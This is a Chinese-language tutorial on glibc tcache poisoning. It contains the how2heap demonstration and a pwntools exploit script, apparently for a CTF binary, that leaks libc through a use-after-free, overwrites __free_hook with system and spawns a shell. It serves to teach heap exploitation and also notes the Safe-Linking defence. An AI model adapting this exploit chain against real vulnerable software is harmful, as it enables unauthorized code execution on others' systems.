tcache攻击之tcache-poisoning
字数 1321 2025-08-22 12:23:00
Tcache Poisoning 攻击技术详解
1. 基本概念
Tcache (Thread Local Caching) 是 glibc 2.26 版本引入的线程本地缓存机制,用于提高堆分配性能。由于省略了很多安全保护机制,tcache 成为堆漏洞利用的重要目标。
Tcache poisoning 是一种通过覆盖 tcache 中的 next 指针来实现任意地址分配的利用技术。
2. 攻击原理
2.1 核心机制
tcache_get()函数没有对 next 指针进行安全检查- 通过修改 tcache bin 中的 next 指针,可以将其指向任意地址
- 后续的 malloc 调用会返回攻击者控制的地址
2.2 与 fastbin corruption 的区别
- 类似 fastbin corruption 攻击
- 但 tcache 的安全检查更少,利用更简单
- 不需要伪造 chunk 结构
3. 攻击演示
3.1 how2heap 示例代码分析
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
int main() {
// 禁用缓冲
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("演示通过欺骗 malloc 返回指向任意位置(本例为栈)的指针\n");
size_t stack_var;
printf("我们希望 malloc 返回的地址: %p\n", (char *)&stack_var);
// 分配两个缓冲区
intptr_t *a = malloc(128);
intptr_t *b = malloc(128);
// 释放缓冲区
free(a);
free(b);
printf("当前 tcache 链表: [ %p -> %p ]\n", b, a);
// 覆盖 b 的 fd 指针
b[0] = (intptr_t)&stack_var;
printf("修改后 tcache 链表: [ %p -> %p ]\n", b, &stack_var);
// 第一次分配
printf("第一次 malloc(128): %p\n", malloc(128));
// 第二次分配将返回目标地址
intptr_t *c = malloc(128);
printf("第二次 malloc(128): %p\n", c);
assert((long)&stack_var == (long)c);
return 0;
}
3.2 攻击流程
- 分配两个相同大小的 chunk (A 和 B)
- 按顺序释放 B 和 A,形成链表 B → A
- 修改 B 的 fd 指针指向目标地址 (如栈变量)
- 第一次 malloc 返回 B
- 第二次 malloc 返回目标地址
4. 实际漏洞利用
4.1 典型漏洞条件
- 存在 Use-After-Free (UAF) 漏洞
- 能够修改 freed chunk 的内容
- 能够控制分配和释放的顺序
4.2 利用步骤
-
泄露 libc 基址
- 分配一个 unsorted bin 大小的 chunk (大于 0x410)
- 释放后通过 UAF 泄露 main_arena 地址
- 计算 libc 基址
-
准备 tcache 链表
- 分配多个 tcache 大小的 chunk
- 释放两个形成链表
-
修改 fd 指针
- 利用 UAF 修改链表尾部的 fd 指针
- 指向目标地址 (如 __free_hook)
-
获取控制权
- 分配 chunk 获取目标地址控制权
- 修改 __free_hook 为 system 或 one_gadget
4.3 例题分析
from pwn import *
# 初始化
p = process('./pwn')
libc = ELF('./libc-2.31.so')
# 泄露 libc
add(0x438) # unsorted bin 大小
add(0x50) # tcache 大小
add(0x50)
add(0x50) # 隔离 top chunk
dele(0)
show(0)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecbe0
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
# tcache poisoning
dele(1)
dele(2)
edit(2, p64(free_hook)) # 修改 fd 指向 __free_hook
# 获取控制权
add(0x50) # 获取 chunk2
add(0x50) # 获取 __free_hook
edit(5, p64(system)) # 修改 __free_hook 为 system
# getshell
edit(1, b'/bin/sh\x00')
dele(1) # 触发 system("/bin/sh")
p.interactive()
5. 防御机制
- glibc 2.32 引入了 Safe-Linking 机制,对 tcache 的 next 指针进行异或加密
- 但早期版本 (如 2.31) 仍可被利用
6. 关键点总结
- 链表操作顺序:后释放的 chunk 在链表头部,先释放的在尾部
- 大小选择:tcache 适用于小于 0x410 的 chunk
- UAF 利用:必须能够修改 freed chunk 的 fd 指针
- 目标选择:常用目标包括 __free_hook、__malloc_hook 或栈地址
- 限制条件:需要能够控制分配和释放的顺序
7. 扩展知识
- 可以结合其他技术如 House of Spirit 使用
- 在 glibc 2.32+ 上需要绕过 Safe-Linking
- 类似的攻击还有 tcache dup、tcache stash 等
通过掌握 tcache poisoning 技术,可以深入理解 glibc 堆管理机制,为更复杂的堆利用打下基础。